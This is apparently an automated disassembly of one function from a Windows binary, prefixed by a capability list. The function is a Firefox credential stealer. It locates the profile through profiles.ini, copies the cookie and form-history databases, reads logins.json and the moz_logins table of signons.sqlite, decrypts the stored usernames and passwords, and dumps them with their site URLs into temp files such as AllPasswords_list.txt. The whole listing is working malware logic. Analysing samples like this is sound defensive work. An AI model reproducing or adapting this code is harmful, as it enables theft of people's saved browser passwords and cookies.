Function at 0x409df0
Capabilities:
Check if file exists
Copy file
Gather firefox profile information
Get file attributes
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4bfdd3
push eax
mov eax, 0x1b08
mov dword fs:[0], esp
call fcn.004bef90
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x6c0]
push eax
push str._AppData__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x6c0]
push eax
push str._wSMozillaFirefoxprofiles.ini
lea eax, [ebp - 0xcd8]
push 0x104
push eax
call fcn.00407130
add esp, 0x10
lea eax, [ebp - 0xcd8]
push eax
push 0x104
lea eax, [ebp - 0xee0]
push eax
push 0x4cee7c
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x105
call fcn.004a9d98
add esp, 4
mov edi, eax
lea eax, [ebp - 0xee0]
push eax
lea eax, [ebp - 0x6c0]
push eax
push str._wSMozillaFirefox_wS
push 0x104
push edi
call fcn.00407130
add esp, 0x14
lea eax, [ebp - 0x2b0]
push edi
push str._wScookies.sqlite
push 0x104
push eax
call fcn.00407130
push edi
push str._wS_formhistory.sqlite
lea eax, [ebp - 0x4b8]
push 0x104
push eax
call fcn.00407130
add esp, 0x20
cmp word [ebp - 0x2b0], 0
je 0x40ac7a
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea eax, [ebp - 0x2b0]
push 0
push 0
push 3
push 0
push 0
push 0x80
push eax
call esi
cmp eax, 0xffffffff
je 0x40ac7a
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
cmp word [ebp - 0x4b8], 0
je 0x40ac7a
push 0
push 0
push 3
push 0
push 0
push 0x80
lea eax, [ebp - 0x4b8]
push eax
call esi
cmp eax, 0xffffffff
je 0x40ac7a
push eax
call ebx
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str.c5jmN.tmp
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x60]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x409f7b
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x10e8]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x409fca
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409fc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
cmp edx, 8
jb 0x40a01f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a015
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._fehS8.tmp
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x60]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40a055
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x12f0]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x40a09e
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a094
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac92
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
cmp edx, 8
jb 0x40a0f3
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a0e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac92
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x10e8]
push 0
push eax
lea eax, [ebp - 0x2b0]
push eax
call esi
push 0
lea eax, [ebp - 0x12f0]
push eax
lea eax, [ebp - 0x4b8]
push eax
call esi
call fcn.00408f70
call fcn.00409390
push edi
push str._slogins.json
lea eax, [ebp - 0x8c8]
push 0x104
push eax
call fcn.00405dd0
push edi
push str._s_signons.sqlite
lea eax, [ebp - 0xad0]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x20
mov ecx, edi
call fcn.00408bc0
mov edi, eax
mov dword [ebp - 0x48], edi
test edi, edi
je 0x40ac67
cmp byte [edi], 0
mov dword [ebp - 0x1c], edi
jne 0x40a17a
lea eax, [edi + 1]
mov dword [ebp - 0x1c], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x8c8]
push eax
call esi
cmp eax, 0xffffffff
je 0x40a73a
test al, 0xa7
je 0x40a73a
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x8c8]
call fcn.0049e080
test al, al
je 0x40a73a
mov ebx, dword [ebp - 0x58]
mov dword [ebp - 0x44], ebx
test ebx, ebx
je 0x40a700
cmp byte [ebx], 0xef
jne 0x40a1d5
cmp byte [ebx + 1], 0xbb
jne 0x40a1d5
cmp byte [ebx + 2], 0xbf
jne 0x40a1d5
lea eax, [ebx + 3]
mov dword [ebp - 0x44], eax
xor edx, edx
lea ecx, [ebp - 0x44]
call fcn.0041bf30
mov dword [ebp - 0x28], eax
test eax, eax
je 0x40a6f9
cmp dword [eax + 4], 4
jne 0x40a215
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x40a215
push 6
mov edx, str.logins
call fcn.0041bb10
add esp, 4
test eax, eax
je 0x40a215
cmp dword [eax + 4], 5
jne 0x40a215
mov ecx, dword [eax + 8]
jmp 0x40a217
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
call fcn.0041c620
test eax, eax
je 0x40a6f1
nop dword [eax]
test ecx, ecx
je 0x40a270
cmp edx, dword [ecx + 8]
jae 0x40a270
mov eax, dword [ecx + 4]
mov esi, dword [eax + edx*4]
test esi, esi
je 0x40a270
cmp dword [esi + 4], 4
jne 0x40a270
mov esi, dword [esi + 8]
test esi, esi
je 0x40a272
push 8
mov edx, str.hostname
mov ecx, esi
call fcn.0041bb10
add esp, 4
test eax, eax
je 0x40a272
cmp dword [eax + 4], 2
jne 0x40a272
mov ebx, dword [eax + 8]
jmp 0x40a274
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
test esi, esi
je 0x40a29b
push 0x11
mov edx, str.encryptedUsername
mov ecx, esi
call fcn.0041bb10
add esp, 4
test eax, eax
je 0x40a29b
cmp dword [eax + 4], 2
jne 0x40a29b
mov edi, dword [eax + 8]
jmp 0x40a29d
xor edi, edi
test esi, esi
je 0x40a2c1
push 0x11
mov edx, str.encryptedPassword
mov ecx, esi
call fcn.0041bb10
add esp, 4
test eax, eax
je 0x40a2c1
cmp dword [eax + 4], 2
jne 0x40a2c1
mov esi, dword [eax + 8]
jmp 0x40a2c3
xor esi, esi
test ebx, ebx
je 0x40a6d4
test edi, edi
je 0x40a6d4
test esi, esi
je 0x40a6d4
mov edx, dword [ebp - 0x1c]
mov ecx, edi
call fcn.00408960
mov edx, dword [ebp - 0x1c]
mov ebx, eax
mov ecx, esi
mov dword [ebp - 0x14], ebx
call fcn.00408960
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x40a6be
test eax, eax
je 0x40a6be
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push str._Files_AllPasswords_list.txt
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x40]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40a33d
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x14f8]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x40a38c
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a382
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x40a3e1
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a3d7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push str._files_passwords.txt
mov edx, eax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x40]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40a417
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1700]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x40a460
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a456
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x40a4b5
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a4ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x14f8]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x40a5bb
push str.Browser:_Mozilla_Firefox_n
push edi
call fcn.00401120
push dword [ebp - 0x18]
push str.Url:__s_n
push edi
call fcn.00401120
add esp, 0x14
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40a511
xor esi, esi
jmp 0x40a53f
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40a53f
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x14]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Username:__s_n
push edi
call fcn.00401120
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 0x10]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40a572
xor esi, esi
jmp 0x40a5a0
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40a5a0
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x10]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Password:__s_n_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
mov ebx, dword [ebp - 0x14]
add esp, 4
lea eax, [ebp - 0x1700]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x40a6be
push str.Soft:_Mozilla_Firefox_n
push edi
call fcn.00401120
push dword [ebp - 0x18]
push str.Site:__s_n
push edi
call fcn.00401120
add esp, 0x14
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40a617
xor esi, esi
jmp 0x40a645
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40a645
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x14]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Username:__s_n
push edi
call fcn.00401120
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 0x10]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40a678
xor esi, esi
jmp 0x40a6a6
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40a6a6
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x10]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Password:__s_n_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
push dword [ebp - 0x14]
call fcn.004a9b70
add esp, 4
push dword [ebp - 0x10]
call fcn.004a9b70
add esp, 4
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
inc edx
mov dword [ebp - 0x20], edx
call fcn.0041c620
cmp edx, eax
jb 0x40a230
mov ebx, dword [ebp - 0x58]
mov edi, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x28]
call fcn.0041c630
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x4c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40a710
push eax
call esi
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x40ac5e
push eax
call esi
push edi
call fcn.004a9b70
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xad0]
push eax
call esi
cmp eax, 0xffffffff
je 0x40ac5e
test al, 0xa7
je 0x40ac5e
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xad0]
push eax
call fcn.0049d450
add esp, 8
test eax, eax
jne 0x40ac5e
mov ecx, dword [ebp - 0x20]
mov edx, str.SELECT_formSubmitURL__encryptedUsername__encryptedPassword_FROM_moz_logins_
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.00477e90
add esp, 0x14
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x40ac49
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push dword [ebp - 0x10]
call fcn.00443000
push 1
push dword [ebp - 0x10]
mov ebx, eax
mov dword [ebp - 0x24], ebx
call fcn.00443000
push 2
push dword [ebp - 0x10]
mov edi, eax
call fcn.00443000
add esp, 0x18
mov dword [ebp - 0x28], eax
test ebx, ebx
je 0x40ac32
test edi, edi
je 0x40ac32
test eax, eax
je 0x40ac32
mov edx, dword [ebp - 0x1c]
mov ecx, edi
call fcn.00408960
mov edx, dword [ebp - 0x1c]
mov ebx, eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], ebx
call fcn.00408960
push 0x4dc690
mov edx, str._Temp__
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push str._Files_AllPasswords_list.txt
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40a83a
mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x1908]
push 0x208
push ecx
push eax
call edi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x40a889
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a87f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x40a8de
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a8d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0xa8]
call fcn.00405bc0
add esp, 4
push str._files_passwords.txt
mov edx, eax
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x90]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40a91a
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1b10]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x7c]
cmp edx, 8
jb 0x40a966
mov ecx, dword [ebp - 0x90]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a95c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
cmp edx, 8
jb 0x40a9c4
mov ecx, dword [ebp - 0xa8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a9ba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ac8d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x98], 0
mov word [ebp - 0xa8], ax
lea eax, [ebp - 0x1908]
push 0x4c7018
push eax
mov dword [ebp - 0x94], 7
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x40aafb
push str.Browser:_Mozilla_Firefox_n
push edi
call fcn.00401120
push dword [ebp - 0x24]
push str.Url:__s_n
push edi
call fcn.00401120
add esp, 0x14
test ebx, ebx
jne 0x40aa23
xor esi, esi
jmp 0x40aa6f
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call esi
mov ebx, eax
test ebx, ebx
jg 0x40aa41
xor esi, esi
jmp 0x40aa6f
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40aa6f
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Username:__s_n
push edi
call fcn.00401120
mov eax, dword [ebp - 0x14]
add esp, 0xc
test eax, eax
jne 0x40aa89
xor esi, esi
jmp 0x40aada
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40aaab
xor esi, esi
jmp 0x40aada
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40aada
mov eax, dword [ebp - 0x14]
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Password:__s_n_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
mov ebx, dword [ebp - 0x18]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x1b10]
push 0x4c7018
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x40ac0c
push str.Soft:_Mozilla_Firefox_n
push edi
call fcn.00401120
push dword [ebp - 0x24]
push str.Site:__s_n
push edi
call fcn.00401120
add esp, 0x14
test ebx, ebx
jne 0x40ab3d
xor esi, esi
jmp 0x40ab89
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call esi
mov ebx, eax
test ebx, ebx
jg 0x40ab5b
xor esi, esi
jmp 0x40ab89
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40ab89
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push dword [ebp - 0x18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Username:__s_n
push edi
call fcn.00401120
mov eax, dword [ebp - 0x14]
add esp, 0xc
test eax, eax
jne 0x40aba3
xor esi, esi
jmp 0x40abf4
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
jg 0x40abc5
xor esi, esi
jmp 0x40abf4
lea eax, [ebx + 1]
push eax
call fcn.004a9d98
mov esi, eax
add esp, 4
test esi, esi
je 0x40abf4
mov eax, dword [ebp - 0x14]
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [esi + ebx], 0
push esi
push str.Password:__s_n_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40ac1c
push eax
call fcn.004a9b70
add esp, 4
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40ac2c
push eax
call fcn.004a9b70
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x40a7a4
mov edi, dword [ebp - 0x48]
push dword [ebp - 0x10]
call fcn.00441810
mov ecx, dword [ebp - 0x20]
add esp, 4
xor edx, edx
call fcn.0049acf0
push edi
call fcn.004a9b70
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
int3